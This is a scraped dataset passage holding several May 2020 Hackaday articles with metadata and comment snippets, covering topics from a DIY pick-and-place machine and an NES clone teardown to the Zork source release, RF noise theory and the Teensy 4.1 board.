] | Give your grizzled and cramped hands a break from stuffing boards with surface mount components. This is the job of pick and place machine, and over the years these tools of the trade for Printed Circuit Board Assembly (PCBA) have gotten closer to reality for the home shop; with some models diving below the $10,000 mark. But if you’re not doing it professionally, those are still unobtanium.
The cost of this one, on the other hand, could be explained away as a project in itself. You’re not buying a $450 shop tool, you’re purchasing materials to
chase the fever dream of building an open source pick and place machine
. There are two major parts here, an X/Y/Z machine tool that can also rotate the vacuum-based parts picker, and the feeders that reel out components to be placed. All of this is working, but there’s still a long road to travel before it becomes a set and forget machine.
The rubber hits the road in two ways with pick and place machines: the feeders, and the optical placement. The feeders are where [Stephen Hawes] has done a ton of work,
all shown in his video series
that began back in January. The stackup of PCBs and 3D-prints hangs on the front rail of the gantry assembly, is adjustable for tape widths, and uses an interesting PCB encoder wheel and worm-gear for fine-tuning the feed. [Stephen’s] main controller board, a RAMPS shield for and Arduino Mega that runs a customized version of Marlin, can work with up to 32 of these feeders.
So far it doesn’t look like he’s tackled a vision system, although
the Bill of Materials
does include “Downwards Camera”, confirming this is a planned feature. Vision is crucial in commercial offerings, with at least one downward camera for precise board positioning, and often an up-facing camera as well to ensure component position and orientation (if not multiple cameras for each purpose). Without these, the machine would be dead reckoning and that can lead to drift over the size of the board and the duration of the placement run as well as axial misalignment. Adding vision shouldn’t be a ground-up effort though, as [Stephen] chose to use
OpenPnP
to drive the machine and that project
already has vision support
. This will be much simpler to add when compared to the complexity of the feeders.
[Stephen] admits that much work still needs to be done and he would love to have help dialing in the performance of the feeder design, and fleshing out features on the road to perfection. Although we suspect that as in the early days of bootstrapping 3D printers, a project like this can never be truly finished. At least it’ll make
his next run of LED glowties
a lot easier to fabricate.
[Thanks Nils!] | 49 | 12 | [
{
"comment_id": "6244592",
"author": "Arthur Wolf",
"timestamp": "2020-05-11T18:35:37",
"content": "Smoothieboard is the official controller for the OpenPNP stack. You can get RAMPS to work, but it’s not what’s most supported/dev for.We’ve added/modded quite a few things over the years based on the ... | 1,760,373,491.093506 | ||
https://hackaday.com/2020/05/11/teardown-generation-nex/ | Teardown: Generation NEX | Tom Nardi | [
"classic hacks",
"Hackaday Columns",
"Nintendo Hacks",
"Slider",
"Teardown"
] | [
"clone",
"emulation",
"epoxy blob",
"nes",
"nes-on-a-chip",
"nintendo",
"NOAC"
] | Today if you wanted a little gadget to sit on your shelf and let you play classic games from the early console era, you’d likely reach for the Raspberry Pi. With slick emulator front-ends like RetroPie and DIY kits available on Amazon, you don’t even need to be a technical wizard or veteran penguin wrangler to set it up. If you can follow an online tutorial, you can easily cram the last few decades of gaming into a cheap and convenient package.
But things were a bit different back in 2005. There weren’t a lot of options for playing old games on the big screen, and what was out there tended to be less than ideal. You could hack an original Xbox or gut an old laptop to make an emulation box that could comfortably blend in with your DVD player, but that wasn’t exactly in everyone’s wheelhouse. Besides, what if you had the original cartridges and just wanted to play them on a slightly more modern system?
I’m willing to bet whoever wrote this owns a katana.
Enter Messiah, and their Generation NEX console. As you might have gathered from their ever-so-humble name, Messiah claimed their re-imagined version of the Nintendo Entertainment System would “Bring Gaming Back to Life” by playing the original cartridges with enhanced audio and visual clarity. It also featured integrated support for wireless controllers, which at the time was only just becoming the standard on contemporary consoles. According to the manufacturer, the Generation NEX used
custom hardware based on the “NES algorithm”
that offered nearly 100% game compatibility.
Unfortunately, the system was a complete bomb. Despite Messiah’s claims, the Generation NEX ended up being yet another “NES-on-a-chip” (NOAC) clone, and a pretty poor one at that. Reviewers at the time reported compatibility issues with many popular titles, despite the fact that they were listed as working on Messiah’s website. The touted audio and video improvements were nowhere to be found, and in fact many users claimed the original NES looked and sounded better in side-by-side comparisons.
It didn’t matter how slick the console looked or how convenient the wireless controllers were; if the games themselves didn’t play well, the system was doomed. Predictably the company folded not long after, leaving owners stuck with the over-priced and under-performing consoles. Realistically, most of them ended up in landfills. Today we’ll take a look inside a relatively rare survivor and see just what nostalgic gamers got for their money in 2005.
Revenge of the Blobs
Secure in the knowledge that the Generation NEX is just a fancy NOAC system, it comes as no surprise to see the dreaded black epoxy blobs on the PCB. This is standard operating procedure for these systems, and frankly, it would have been a bigger surprise if they hadn’t been there. But still, this is a particularly bad case of the Black Blob Syndrome with five of them visible as soon as the case is cracked open.
While the inside of the Generation NEX looks more or less like we’d expect, on closer inspection we can see a few differences that separate it from
more modern NOAC systems we’ve explored recently
.
Of course the main one is the lack of any onboard storage. The NEX only plays original NES and Famicom cartridges, and just like the original hardware doesn’t feature any sort of built-in menu system or dashboard that would require a flash chip for program storae. This might seem like something of a missed opportunity, but it’s a limitation of building an NES clone versus an emulator. The cartridge in these older machines isn’t a mass storage device, it’s a fundamental part of the circuit. Without it installed, the system simply doesn’t function.
We can also see that the system’s RAM is external to the NOAC blobs. The original NES used twin 2 kB banks of memory, one for the CPU and the other for the Picture Processing Unit (PPU). But in the NEX they seem to have been replaced with a single UM62256EM-70LL SRAM chip. It’s not immediately clear why this component needed to remain an external device, but it’s probably safe to assume it was simply cheaper.
If we’re feeling particularly charitable, we could allow ourselves to believe that Messiah wanted the ability to upgrade the system’s memory on future production runs. Before the hardware was released, the company said they were actively looking into ways of offering enhanced performance for homebrew NES titles that were specifically programmed to take advantage of the NEX hardware.
Bolt-On Features
While the red PCB contains all of the standard NOAC hardware, the second green PCB appears to be home to all of the “secret sauce” features of the Generation NEX. Namely, the integrated receiver for the 2.4 GHz controllers and the stereo audio connectors. Given how different the design and construction of these two boards are, you have to wonder if Messiah didn’t contract the two components out to different companies.
Unfortunately, there’s almost nothing of interest to report on this board. Outside of the epoxy blobs, it’s just passive components. The nRF2401 receiver is on a separate module mounted to the reverse side of the PCB, but mounted in such a way that you can only see the bottom of it.
One thing worth mentioning is that the silkscreen is fairly well labeled. We can see what each pin does on the various connectors, which is nice if you were potentially looking to swap out the NOAC board with something more powerful while reusing the audio and video connectors on the back panel.
First Day with the New Iron
As the keen-eyed reader may have noticed in the previous pictures, some of the solder work on the Generation NEX is embarrassingly poor for a commercially produced device. Without question, it’s the worst to ever pass under our gaze over the course of this teardown series. Some of the components on the green PCB seem to be held on more by force of habit than anything, and the red PCB features a particularly heinous bodge wire installation. You really have to wonder what kind of QA these boards were actually going through if these ones got the stamp of approval.
In general, the build quality on the Generation NEX is rather poor. Which makes its high sticker price, at least compared to other clones of the day, even more insulting. The system reportedly had a very high failure rate, and with work like this going out the door, it’s not hard to see why.
Saving Grace
Messiah actually made wireless controllers for a number of classic systems before attempting to broaden their horizons into consoles, so it’s little surprise they rolled the capability to support them into the Generation NEX. It was also an easy way for them to increase profits, as the wireless controllers needed to be purchased separately and a pair cost as much as the console itself.
In any event, most people agreed that the wireless controllers were the best feature of the Generation NEX. That’s probably true, but it’s also more of a reflection on how poor the system itself is. While the controllers are serviceable, they don’t exactly impress either. The iconic directional pad has been replaced with an odd disc, and the Select and Start buttons take the form of capacitive pads for no discernible reason other than to make the controller look more futuristic.
Inside we can see that there’s nothing special about the disc input device, like the capacitive pads, it’s just for show. While it might be a bit subjective, it should also be said that the switches used in this controller are particularly unsatisfying to use as they make no noise and have very little resistance.
Why can’t you just be normal?
When you forget which side of the board the LED needs to be on.
In the controller we get our first unobstructed view of the Nordic nRF2401 radio module. It probably wouldn’t be very difficult to put together a modern receiver you could use these controllers with emulators, but it’s hard to imagine why you’d want to.
What’s on the other side of the PCB? Another black epoxy blob and a handful of passives. You’re probably getting just as sick of seeing that as I was at this point, so I didn’t even bother to take a picture of it. Instead, let’s take a moment to marvel at that SMD LED soldered to stiff wire with a bit of masking tape to keep it from shorting out on the antenna of the nRF2401.
The True Messiah
Thanks, Messiah.
Looking at the internals of the Generation NEX just confirmed what was already known. The system was over-hyped and despite its premium sticker price, built as cheaply as possible. Perhaps Messiah had the best of intentions, but the reality is that they were simply out of their league with a project like this.
But in the end, the Generation NEX can still help bring those old games back to life. While the system as a whole might have been a disappointment, there’s little argument that Messiah nailed the look of a re-imagined NES. If there’s ever been a gadget that deserved to have its internals ripped out and replaced with a Raspberry Pi, this is it.
If you can score one of these cheap enough on eBay, just imagine it’s a kit and toss everything but the case, controller ports, and power button. That’s certainly what I plan to do with this one. With RetroPie onboard, the resurrection is nigh. | 13 | 6 | [
{
"comment_id": "6244586",
"author": "rnjacobs",
"timestamp": "2020-05-11T18:01:34",
"content": "62256 is a 32KB RAM, not 4KB. Not that I have any idea what it’s doing there.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6244589",
"author": "RW ver ... | 1,760,373,491.155355 | ||
https://hackaday.com/2020/05/12/a-twisted-tale-of-woven-wires/ | A Twisted Tale Of Woven Wires | Tom Nardi | [
"Art",
"contests"
] | [
"art",
"Circuit Sculpture",
"contests",
"metalworking"
] | A little over a year ago, we ran a contest that challenged readers to leave the comfort of their PCBs and breadboards. We wanted to see circuits built in three dimensions, with extra points awarded for creativity and artistic flair. Truth be told there was initially some concern that the “Circuit Sculpture” contest was a bit too abstract for the Hackaday community, but the overwhelming number of absolutely gorgeous entries certainly put those doubts to rest.
In a recent video,
[Michael Aichlmayr] walks viewers through the creation of his mesmerizing entry
Wonderlandscape
, which ended up taking honorable mention in the Circuit Sculpture contest for Best Metalworks. Though this is much more than just a simple walk-through of a project. Sure you’ll see how brass bar stock was artfully twisted and wrapped to create a metallic winterscape that looks like it could have come from Bob Ross’s hitherto unknown cyberpunk period, but that’s only half the story.
The brass bar was twisted by hand with pliers.
In the video, [Michael] recalls how he discovered the burgeoning electronic sculpture community, and points to a few exceptional examples that got him hooked on finding the beauty that’s usually hidden inside of a plastic enclosure. Eventually he heard about the Circuit Sculpture contest, and decided it was the perfect opportunity to build something of his own. That’s right,
Wonderlandscape
is his very first attempt at turning electronics into art.
But the best may be yet to come. [Michael] explains that, due to the time constraints of the contest, he had to use metal stock purchased from the crafts store. But his ultimate goal is actually to melt down salvaged brass and bronze components and make his own wire and rods. We can’t wait to see what he’ll be able to accomplish when he starts working with his own custom made metal, and are eagerly awaiting the future video that he says will go over the techniques he’s been working on.
This story is a great reminder of how stepping out of your comfort zone once and awhile can be a good thing. Entering the contest with no previous experience was a risk to be sure, but [Michael] came out the other side more experienced and with a few new friends in the community. So why not
enter our latest contest and see where it takes you
? | 5 | 4 | [
{
"comment_id": "6245042",
"author": "Hummmmmmmmmmm",
"timestamp": "2020-05-13T00:32:46",
"content": "Whoa…",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6245048",
"author": "mp",
"timestamp": "2020-05-13T01:38:10",
"content": "Anyone else notice ... | 1,760,373,491.273369 | ||
https://hackaday.com/2020/05/12/3d-printed-train-set-aims-for-speed/ | 3D Printed Train Set Aims For Speed | Lewin Day | [
"3d Printer hacks"
] | [
"model railroad",
"model train",
"model trains"
] | For most involved in the hobby, model trains involve buying track from off-the-shelf suppliers, and lots of delicate painting and finishing. Conversely, [Ivan] just wanted to make something fast and fun,
busting out the 3D printer in due course.
While the title of “World’s fastest toy train” is somewhat dubious, the build has its value as an interesting way of doing things. The train is 3D printed, with pressed-in ball bearings and metal shafts for the bogies. Differing from usual practice, this train carries its power supply on board, in the form of a LiPo battery. It’s hooked up to a brushless motor and controlled by a standard RC car setup.
The track is an impressive structure, consisting of 3D printed rails and supports. These are assembled and then screwed down to plywood baseplates, which are hot glued to the flat concrete floor of [Ivan]’s workshop. Strings were used to align everything as straight and true as possible. The track features a steep banking which helps with cornering. However, the straights remain banked in an effort to avoid the complex modelling of a transition. This leads to some derailments at higher speeds on the flat sections.
While it’s not yet perfect, [Ivan] has done a great job of demonstrating a quick and easy way to build a model railway out of almost entirely 3D printed components. We can’t wait to see improvements to the rails and railcars, and hope to see speeds increase significantly in future tests. 3D printing tends to bring some interesting results to bear on the model train world,
such as this vertical hanging setup
. Video after the break. | 32 | 16 | [
{
"comment_id": "6244991",
"author": "Jesse Brockmann",
"timestamp": "2020-05-12T20:17:54",
"content": "Add a metal piece under the track and add magnets to the train.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6245078",
"author": "Martin Egsdal"... | 1,760,373,491.22864 | ||
https://hackaday.com/2020/05/12/robotic-open-source-puppy-needs-a-home/ | Robotic Open Source Puppy Needs A Home | Richard Baguley | [
"News",
"Robots Hacks"
] | [
"Pupper",
"quadruped",
"robot dog",
"robotics"
] | Personally, I am a fan of the real thing, but dogs aren’t an option for all. Plus, robotic dogs are easier to train and don’t pee on your couch. If you are looking to adopt a robotic companion,
Stanford Pupper
might be a good place to start. It’s a new open source project from the Stanford Robotics Student group, a group of robotic hackers from Stanford University. This simple robotic quadruped looks pretty simple to build, but also looks like a great into to four-legged robots.
This is the first version of the design, but it looks pretty complete, built around a carbon fiber and 3D printed frame. The carbon fiber parts have to be cut out on a router, but you can order them pre-cut
here
, and you might be able to adapt it to easier materials. The Pupper is driven by twelve servos powered from a 5200 mAh 2S LiPo battery and a custom PCB that distributes the power. That means it could run autonomously.
The brains of the Pupper is a Raspberry Pi running some
custom code
that translates the input from a joystick into movement. The movements Pupper can make include walking, trotting, running, jumping, and a series of dog-like look around moves, all calculated in code with inverse kinematics. There is no option to howl or tilt the head, though, as it doesn’t have a head.
It’s a pretty neat looking design that could be the basis of a rather cool robot dog. The designers estimate that it should cost between $600 and $900 to build, but I can see some potential for cost-saving in there using cheaper servos or other scavenged parts.
And because no post that mentions dogs is complete without a photo, here’s my non-robotic pup Jasper. | 20 | 7 | [
{
"comment_id": "6244945",
"author": "Bob",
"timestamp": "2020-05-12T18:46:29",
"content": "$600-$900 for 12 servos, a Pi, a battery and support components? No thanks",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6244955",
"author": "kc8rwr",
... | 1,760,373,491.335479 | ||
https://hackaday.com/2020/05/12/dr-anthony-fauci-infectious-disease-slayer/ | Dr. Anthony Fauci, Infectious Disease Slayer | Kristina Panos | [
"Biography",
"Hackaday Columns",
"Original Art",
"Slider"
] | [
"aids",
"Ebola",
"HIV/AIDS",
"infectious diseases",
"NIH",
"profiles in science",
"SARS",
"SARS-CoV-2",
"vasculitis"
] | In the two months since the harsh realities of SARS-CoV-2 and COVID-19 have come into sharp focus, Americans have become increasingly familiar with a man who has been quietly serving the people since the days when Ronald Reagan was up for re-election. For many, Dr. Anthony Fauci is the national voice of reason in a sea of dubious information. He has arguably become the most trustworthy person the government has to offer in the face of this pandemic.
Officially, Dr. Fauci is the Director of the National Institute of Allergy and Infectious Diseases (NIAID), a position he was appointed to in 1984. He has worked under six presidents, advising them on every outbreak from the HIV/AIDS epidemic up through Zika and Ebola. Now, he is part of the White House’s coronavirus task force.
At 79 years old, he still works 18-hour days, sticking it to infectious diseases with one hand, and smoothing the feathers of the American people with the other. Dr. Fauci certainly feels like the right person at the right time. So how did he get to this point?
A Doctor Grows in Brooklyn
Anthony Stephen Fauci was basically born into the medical profession. He grew up in Brooklyn, New York, in an apartment above the Fauci family pharmacy. As a teenager, he commuted by subway and bus to the prestigious Regis High School on the Upper East Side, and spent his evenings and weekends delivering prescriptions around Brooklyn by bicycle.
Fauci was the captain of the Regis basketball team and thought about trying to go on, but at 5’7″, figured he didn’t have much of a shot. Interestingly, his family didn’t push him toward science or medicine, at least not in so many words. He had grown up around artists from his mother’s side, and decided that becoming a doctor would put him at the intersection of science and humanities.
The family pharmacy in Brooklyn, and Fauci in his point guard days. Image via
Academy of Achievement
After high school, Fauci collected an interesting set of pre-med undergraduate credits steeped in classical studies before enrolling at Cornell Medical College. He graduated in 1966, and was given his choice of required military service, including the Public Health Service. Dr. Fauci was assigned to the National Institutes of Health (NIH), and has remained there ever since.
A Spoonful of Chemotherapy
In 1972, Dr. Fauci was promoted to senior researcher at the National Institute of Allergy and Infectious Diseases (NIAID), a division of the NIH. He kicked off his research by studying chronic fevers at the molecular level particular to vasculitis, a disease that causes blood vessels to become inflamed. Some types of vasculitis are caused by an overactive immune system, and the body attacks the blood vessels by mistake.
During this time, Dr. Fauci frequently observed patients at the nearby National Cancer Institute. The immunosuppressive reactions they had from chemotherapy gave him an idea. If chemotherapy drugs suppress the immune system, then extremely low doses of them could be the answer to vasculitis. It worked. Dr. Fauci effectively cured vasculitis, and this discovery led to good progress in the fight against more common diseases like lupus and rheumatoid arthritis.
At the drawing board in 1990. Image via
CNN
Crusade Against AIDS
By the early 1980s, many doctors and scientists thought there were no more large-scale infectious diseases left to fight, at least in the first world. And then, seemingly out of nowhere, the HIV/AIDS epidemic showed up and proved them all wrong.
In 1981, Dr. Fauci read a report from the CDC about five otherwise healthy gay men who had contracted a form of pneumonia normally reserved for immuno-compromised persons. When a second, more alarming report came in a month later, he dropped what he was doing to fight what he felt was a serious emerging epidemic. His mentors were disappointed and thought he was wasting his career.
Fauci wrote a paper trying to get the medical community to take notice of the virus, and got it published after a few attempts. Meanwhile, he began making progress in the lab by studying B cells, which help produce antibodies. His lab figured out that the B cells of HIV patients become hyperactive, and this turned out to be a defining feature of HIV/AIDS.
AIDS activists in 1988. Image via
BBC
In 1984, Dr. Fauci was made director of the NIAID. As the epidemic progressed over the next few years, he became the face of the governmental response, appearing almost daily to discuss the mounting public health crisis.
People wanted him to answer for the government’s lackadaisical response, but he wasn’t in a position to get drugs approved or even accepted into trials. Many thought his cautious scientific approach to the crisis was cold-hearted and detached. Dr. Fauci has said that it was a dark period for him because for the first time in his career, he wasn’t saving anybody.
Fauci decided to take a more humanistic approach, and spent time with leaders and members of the gay communities in New York and San Francisco to better understand where they were coming from. Soon, he created a division within the NIH focused on HIV/AIDS.
Platform for Pandemic Preparedness
Dr. Fauci continues to fight AIDS in between global pandemics and coming up with ways to cure fatal rheumatological diseases. He has received many awards and accolades, including 30 honorary doctorates and a Presidential Medal of Freedom from George W. Bush.
For the last 15 years, Dr. Fauci has been trying to garner interest in developing a platform vaccine — a kind of ready-made base that would work against an entire class of viruses. With these in place, developing vaccines tailored to specific viruses like SARS-CoV-2 could happen much more quickly. Unfortunately, getting to that point would require radical, top-down changes in the way that vaccines are developed. This kind of revolution would cost billions and take years, but could save countless lives. Maybe it’s time to get started. | 21 | 9 | [
{
"comment_id": "6244905",
"author": "Coronavirus Scanner",
"timestamp": "2020-05-12T17:22:59",
"content": "greatread more about B cells and antibodies fromhttps://www.ncbi.nlm.nih.gov/books/NBK26884/https://www.bing.com/search?q=B+cells%2C+which+help+produce+antibodies&search=&form=QBLH",
"pare... | 1,760,373,491.399159 | ||
https://hackaday.com/2020/05/12/original-zork-mdl-source-code-has-been-released/ | Original Zork MDL Source Code Has Been Released | Maya Posch | [
"Games",
"News",
"Retrocomputing"
] | [
"mit",
"PDP-10",
"zork"
] | Though mostly known for its releases on countless 8-bit personal computers from the 1970s and 1980s, the game of Zork began its life on a PDP-10 mainframe. Recently, MIT released
the original source code
for this version of Zork. As we covered a while ago,
the history of Zork
is a long and lustrous one, a history that is based on this initial version written in MDL.
To recap, MDL is a LISP-derived language that excels at natural language processing. It was developed and used at MIT’s AI and LCS (now CSAIL) departments for a number of projects, and of course to develop games with. The use of MDL gave Zork as a text-based adventure a level of interaction that was far ahead of its time.
What MIT has made available is the source code from Zork as it existed around 1977, at a time when it was being distributed to universities around the US. For purely educational purposes, obviously. This means that it’s a version of Zork before it was commercialized (~1979), showing a rare glimpse of the game as it was still busily being expanded.
Running the game will take a bit of effort, however. These files were retrieved from an original MIT backup tape that was used with their PDP-10 machines. Ideally one would use a 1970s-era PDP-10 mainframe with an MDL compiler, but in a pinch one could run a PDP-10 emulator as well.
Let us know whether you got it to run. Screenshots (ASCII or not) are highly encouraged. | 14 | 9 | [
{
"comment_id": "6244874",
"author": "Sykobee",
"timestamp": "2020-05-12T16:04:08",
"content": "I had a look through it yesterday.It taught me that I certainly do not know MDL.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6244886",
"author": "awen",
... | 1,760,373,491.45098 | ||
https://hackaday.com/2020/05/12/understanding-a-bit-about-noise-can-help-you-go-a-long-way/ | Understanding A Bit About Noise Can Help You Go A Long Way | Jenny List | [
"Hackaday Columns",
"Radio Hacks",
"Slider"
] | [
"friis equation",
"noise",
"noise factor",
"Noise figure"
] | There are many ways in which one’s youth can be misspent, most of which people
wish
they’d done when they get older and look back on their own relatively boring formative years. I misspent my youth pulling TV sets out of dumpsters and fixing them or using their parts in my projects. I recognise with hindsight that there might have been a few things I could have done with more street cred, but for me, it was broken TVs.
TV Pictures From More Than Just Down The Road
The internals of a typical UHF cavity TV tuner.
As a radio enthusiast at the time
I would zero in on the RF side of the circuit.
Here in the UK, that is a UHF tuner and a 36 MHz IF strip. I would tweak and modify them endlessly, making antenna amplifiers, UHF transmitters, 70 cm amateur TV gear, and memorably even a rudimentary spectrum analyser that would give a plot of the local TV transmitters on my oscilloscope screen.
In particular I was fascinated by DXTV, the idea that during a significant enough atmospheric “lift” I might snag stations from miles away, a distant part of the country perhaps, or even from Mainland Europe. In this I was largely unsuccessful beyond seeing a very snowy version of the local news in Norwich from time to time, but along the way I learned a huge amount about how radio works, and in particular about the effect of electrical noise on receiver performance.
It’s easy to forget about noise when watching a modern digital TV, because if there is no TV channel on the screen there will always be something such as the program guide or other graphics there instead. When an analogue TV had no channel to display, it would instead show you whatever random noise its receiver could resolve, a “snow” on the screen accompanied by the whooshing sound of white noise on the speaker. If the set was tuned to a transmitter from way beyond its normal range then the noise level would be of a similar magnitude to that of the signal, and the picture and sound would be there but with visible snow and audible noise.
I soon learned that if I added an amplifier between my antenna and the TV I could get a stronger signal, but the results were disappointing. I was soon departing down the rabbit hole of better antenna amplifier design, tweaking cavity tuners to make tunable amplifiers, and seeing out the particularly prized at the time MOSFET tuners to donate their dual-gate BF981 transistors. Without realising it I was learning about noise and its effect on receiver performance, and a few years later when I was an electronic engineering student I would learn some of the theory and maths behind it.
The First Amplifier In The Chain Affects All That Follow
A chain of amplifiers, each with their own noise factor F and gain G. Leyo (
Public domain
)
What I learned was the Friis noise equation, named for the Danish born engineer Harald Friis who worked for Bell Labs through much of the mid 20th century. It takes the noise factor, the ratio of output to input noise for a chain of amplifiers, and derives it from the individual noise factors and gains of each of its parts. What this does is teach the novice engineer about the effect of the gain in each stage in amplifying the noise from the previous stage as well as in adding its own noise to the pile. Thus the noise contributed by the first amplifier in the chain is amplified by all the others, and contributes most to the final result.
As can be seen from the formula, F1 is the noise figure of the first amplifier, and it is the only member of the progression that is not a fraction. Thus it has the most influence on the overall noise figure of the complete system, and here was where I discovered the value of the good quality preamp back in my DXTV days. As the first component my off-air signal encountered, its noise figure had the most effect on the performance of the rest of the system, and thus the most effect on that snow in my low-signal picture. My tunable cavity BF981 MOSFET preamp might have been annoying to use because it required retuning along with every channel shift of the TV, but its superior performance over the bipolar transistor in the TV tuner greatly reduced the system noise.
If your work lies in the realm of microcontrollers and digital circuits you may have less use for this equation than I did, but since it applies to many more situations than my teenage DXTV setup it is still a very useful thing to have some knowledge of. After all, every analogue system can be beset by noise!
Header image: Mysid /
Public domain | 48 | 14 | [
{
"comment_id": "6244855",
"author": "Doug Coulter",
"timestamp": "2020-05-12T14:42:54",
"content": "Wow, you really got around then. Go Jenny! I also was lucky to be exposed to quite a lot of analog and RF before there was this digital thing, and it’s been very useful for a wide range of endeavor... | 1,760,373,491.5654 | ||
https://hackaday.com/2020/05/12/neat-and-tidy-usb-c-conversions-for-legacy-devices/ | Neat And Tidy USB-C Conversions For Legacy Devices | Lewin Day | [
"Peripherals Hacks"
] | [
"USB C"
] | USB-C has been on the market for a good few years now, and it’s finally starting to take over. Many new laptops only come with the newer port, making it difficult to use legacy USB-A devices. [Matt] doesn’t like mucking about with dongles and hubs, so set about
converting some older hardware to the new standard
. (Video, embedded below.)
[Matt] first set about hacking a Logitech wireless mouse dongle, peeling apart the original USB A connector to gain access to the PCB inside. A USB C breakout board is then sourced, and the relevant pins in the USB-C connector are soldered to the original USB-A connector pads. Unfortunately, the breakout board is configured as a host device, unsuitable for peripherals. Replacing a pull-up resistor with a pull-down on the VCONN and CC1 pins rectifies this. With the mod done, the mouse enumerates and is fully functional over USB-C. A little Sugru is then used to wrap everything up neatly.
[Matt] then progresses through several other similar mods to other hardware, sharing useful tips on how to make things as neat and useful as possible. It’s a tidy hack that could make your user experience with a new laptop much less painful. USB-C mods are becoming more common,
and we’ve seen plenty done to soldering irons thanks to the Power Delivery spec. | 42 | 11 | [
{
"comment_id": "6244799",
"author": "Blamoo",
"timestamp": "2020-05-12T12:23:38",
"content": "Some USB OTG are designed to fit inside the hole of a male USB-A connector… Maybe a similar product for USB-C will pop soon (if it doesn’t exists already).",
"parent_id": null,
"depth": 1,
"rep... | 1,760,373,491.648027 | ||
https://hackaday.com/2020/05/11/new-teensy-4-1-arrives-with-100-mbps-ethernet-high-speed-usb-8-mb-flash/ | New Teensy 4.1 Arrives With 100 Mbps Ethernet, High-Speed USB, 8 MB Flash | Ted Yapo | [
"Featured",
"Microcontrollers",
"Parts",
"Reviews",
"Slider"
] | [
"Cortex M7",
"development board",
"ethernet",
"Teensy 4.0",
"Teensy 4.1",
"teensyduino"
] | It was only last August that PJRC released Teensy 4.0. At that time, the 4.0 became the fastest microcontroller development board on the planet, a title it still holds as of this writing — or, well, not exactly. Today the
Teensy 4.1 has been released
, and using the same 600 MHz ARM Cortex M7 under the hood, is now also the fastest microcontroller board. What the 4.1 brings to the table is more peripherals, memory, and GPIOs. While Teensy 4.0 used the same small form factor as the 3.2, Teensy 4.1 uses the larger board size of the 3.5/3.6 to expose the extra goodies.
The now slightly older Teensy 4.0 —
released on August 7th of last year
— is priced at $19.95, with the new 4.1 version offered at $26.85. It seems that the 4.1 isn’t intended as a replacement for the 4.0, as they serve different segments of the market. If you’re looking for an ultra-fast affordable microcontroller board that lives up to its Teensy name, the 4.0 fits the bill. On the other hand, if you need the additional peripherals broken out and can afford the space of the larger board, the not-as-teensy-sized 4.1 is for you. How big is it? The sample board I measured was 61 x 18 mm (2.4 x 0. 7″), not counting the small protrusion of the micro-usb jack on one end.
Let’s have a look at all the fun stuff PJRC was able to pack into this space.
100 Mbps Ethernet
Add your own jack to enable the 100 Mbps Ethernet port
The big news is that Teensy 4.1 comes with 100 Mbps Ethernet support. To use the Ethernet port, you need to supply external magnetics and an RJ-45 jack. These were left off the board for obvious reasons — even using a jack with integrated magnetics (magjack), it wouldn’t fit on the PCB. Instead, a 6-pin header on the board can connect to an external interface. This also helps keep the price low for those who need the other features of the 4.1 without Ethernet connectivity.
Ethernet and USB host port headers (bottom of PCB)
PJRC will likely sell a DIY kit of the required parts in the future, but they don’t have a release date or pricing yet. For now, you can easily build your own using
this OSH Park shared project
. The parts list is in the project’s description, with the key part being the magjack, which will set you back around $2.55 in single quantities. Those building a board should note that this is an early version, and it turns out that only the 0.1 uF capacitor is necessary. Paul Stoffregen of PJRC told me that he just received a simpler PCB for testing, and will publish the design once it’s has been thoroughly verified.
The Ethernet port is capable of full 100 Mbps speed and supports the IEEE 1588 precision time protocol, which allows synchronization of clocks to within 100 ns over wired connections, enabling some very interesting possibilities. But, aside from that, just the inclusion of Ethernet on a microcontroller board is a
big deal
. Before this, you basically had two choices if you needed this kind of connectivity: use a powerful single-board-computer like a Raspberry Pi with all the latency and headaches the required operating system brings for doing low-level or real-time tasks, or add a slow SPI-interfaced Ethernet board to an existing microcontroller. Instead, you can now use the 600 MHz Cortex-M7 on this new board to run high-bandwidth, low-latency embedded applications without fighting an OS.
USB Host Port
Just add a header and cable for USB host functionality
Teensy 4.1 includes a USB host port broken out to a five-pin through-hole header on the inside of the PCB, as was done on the 3.5/3.6 versions. The port will do 480 Mbps high-speed USB. It also adds the power management required for hot-plugging USB peripherals — just add a USB host cable, and you’re good to go. PJRC
sells these cables
, or you can use a USB2 cable scavenged from an old PC: the pinout is the same. The older Teensy 4.0 only has the USB data lines broken out to surface-mount pads on the PCB.
microSD Card Slot
Like the Teensy 3.6, the new 4.1 board has a microSD card slot on one end to add removable storage. While the pins for this are broken out on the older 4.0 version, the inclusion of this socket greatly simplifies using the interface. And this isn’t like some of the microSD card interfaces you may have seen where you can only use the slower SPI protocol to access the card; here you can use fast, native SDIO.
More Memory!
Teensy 4.1 Bottom Side with user-supplied QSPI RAM chips
Teensy 4.1 has 8 MB of flash memory for program storage, up from the 2 MB on the 4.0 version, quite an enhancement. The microcontroller on the Teensy 4.1– an IMXRT1062, same chip as on the 4.0 — comes with 1 MB of on-chip RAM. It’s easy to think of this as a lot for a microcontroller, at least until you think about the power of this 600 MHz 32-bit processor and what people will want to do with it: audio and graphics applications can easily chew through the 1 MB, as can emulation of other processors/systems, such as for retro gaming. So, the Teensy 4.1 allows addition of either or both of two user-supplied extra memories. On the bottom side of the PCB, there are two SOIC-8 footprints: the one with larger pads will accept a QSPI flash memory, while the smaller footprint is intended for an 8 MB PSRAM (pseudo-static RAM) part. You just solder the part(s) on, and you’re ready to go. Thankfully, they’re both SOIC, which these days is considered by many a joy to hand-solder.
A key feature of these additional memories is that they have a dedicated QSPI bus, which doesn’t slow down the Teensy 4.1’s internal program memory. This is especially important for use with flash memory, due to the long erase and write access, which could otherwise bog down a shared bus. Again, by making these parts optional, and user-supplied, PJRC has reduced the cost of the board for those that don’t need the feature(s); those that need them can bring their own memories.
The 4.1 Breaks Out a Full 16-bit GPIO Port
Teensy 4.0 had surface-mount pads for additional I/O. The Teensy 4.1 moves these to the additional through-hole pads the longer board makes available.
One invariable rule of microcontrollers is that you
always
need a few more pins. While the processor common to both the Teensy 4.0 and 4.1 has a lot of them, the smaller size of the Teensy 4.0 limited the number of I/O that could be brought out to through-hole headers.
